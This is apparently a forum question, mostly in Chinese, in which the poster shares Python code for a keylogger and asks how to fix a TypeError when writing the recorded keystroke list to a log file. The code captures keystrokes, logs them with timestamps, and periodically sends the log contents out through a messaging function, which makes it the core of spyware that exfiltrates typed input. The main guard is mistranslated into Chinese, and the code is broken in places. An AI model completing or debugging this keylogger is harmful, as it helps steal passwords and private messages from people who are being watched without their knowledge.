def file_input(recorded):
now_time = datetime.datetime.now()
w = open("LOG.txt", 'a')
w.write(recorded)
w.write("\n")
w.write(now_time)
w.write("--------------------------------------")
w .close()
如果name等于"main":
while 1:
status = time.localtime()
result = []
keyboard.press_and_release('space')
recorded = keyboard.record(until='enter')
file_input(recorded)
if (status.tm_min == 30):
f = open("LOG.txt", 'r')
file_content = f.read()
f.close()
send_simple_message(file_content)
我正在尝试用Python编写键盘记录器,遇到了如下类型错误,请问该如何解决?
我将已记录的变量放入write()函数中时出现了类型错误,而该变量的类型为列表。我尝试使用join()函数解决,但并未成功。